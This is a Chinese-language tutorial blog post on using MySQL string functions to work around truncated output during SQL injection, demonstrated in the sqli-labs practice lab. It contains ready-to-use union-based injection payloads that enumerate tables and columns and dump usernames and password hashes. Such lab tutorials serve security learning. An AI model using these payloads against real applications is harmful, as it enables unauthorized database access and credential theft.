SQL注入中的MySQL特殊函式

2021-09-27 10:28:41 字數 3198 閱讀 1716

4、 查詢拼接函式使用

在滲透測試中,有時會遇到字串在前端被截斷的情況,爆出的資料也就不完整,此時mysql的一些函式就非常好用了

group_concat()						#將組中的字串連線成為具有各種選項的單個字串。

concat(s1,s2...sn) #將字串 s1,s2 等多個字串合併為乙個字串

concat_ws(x, s1,s2...sn) #同 concat() 函式

left(s,n) #返回字串 s 的前 n 個字元

right(s,n) #返回字串 s 的後 n 個字元

substr(s, start, length) #從字串 s 的 start 位置擷取長度為 length 的子字串

substring(s, start, length) #同 substr() 函式

使用sqlilabs第一關作為測試環境,修改使用者表第一條資料密碼為 md5 加密值,更改 index.php 列印密碼語句為:echo 『your password:』 .substr($row[『password』],0,10);如下圖:

訪問sqlilibs第一關,傳入 id=1 發現密碼md5被截斷,如下圖所示:

substring() 使用方法與 substr() 一致,這裡就不做介紹了

substr() 方法能在資料庫查詢中被優先擷取,也就避免了查詢資料過長被後端或前端截斷。

使用下面的payload,爆出值拼接便可以得到最終的密碼cmd5值:

在查詢時,若被截斷的值大於或等於資料庫儲存值得一半,此時可以使用更方便的 left() 與 right() 函式分段查詢。

此時將截斷字元數改為20,使用普通的payload爆出密碼不完整,但滿足可以使用left()與right()函式的條件,如下圖所示:

構造payload使用 left() 查詢欄位值前二十位:

構造payload使用 right() 查詢欄位值後二十位:

構造 group_concat() 拼接函式payload,可直接爆出所有表名、欄位名及字段值,在遇到被截斷的情況下也可與擷取函式配合使用

' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

' and 1=2 union select 1,group_concat(username,0x7e,password),3 from users--+

' and 1=2 union select 1,left(group_concat(table_name),20),3 from information_schema.tables where table_schema=database()--+

' and 1=2 union select 1,right(group_concat(table_name),20),3 from information_schema.tables where table_schema=database()--+

' and 1=2 union select 1,substr(group_concat(table_name),1,20),3 from information_schema.tables where table_schema=database()--+

group_concat() 附圖:

substr(group_concat(),) 附圖:

concat_ws() 使用方法與 concat() 一致,這裡就不做介紹了

concat() 函式可配合 limit 在乙個欄位處爆出所有想要得到的字段值,payload如下:

' and 1=2 union select 1,concat(username,0x7e,password),3 from users limit 0,1--+
附圖:

——捨心k

mysql中防止sql注入

什麼是sql注入 python 操作mysql產生sql注入問題 不用orm框架,框架中已經整合了防範sql注入的功能,使用pymysql實踐一下 匯入pymysql模組 import pymysql 連線database conn pymysql.connect host 127.0.0.1 us...

SQL注入 MYSQL

並不通用,條件苛刻 sql語句中,擷取字串函式的索引是從1開始的,php中是從0開始的 1.過濾or,and,xor 1 首先oorr有用 2 有用 3 有用 4 十六進製制編碼 select column name from information schema.columns where tab...

SQL注入中的union注入

環境自己搭的 union聯合,合併,將多條查詢語句結果合併成乙個結果,union注入攻擊是手工測試 1.首先要判斷是否存在注入點 2.通過order by 1 99 查詢字段 首先應該用查詢出欄位 1.注 20表示空格,我這裡從1試到了7 到7的時候報錯,也就會是說有6個字段 2.我的回顯是2和4,...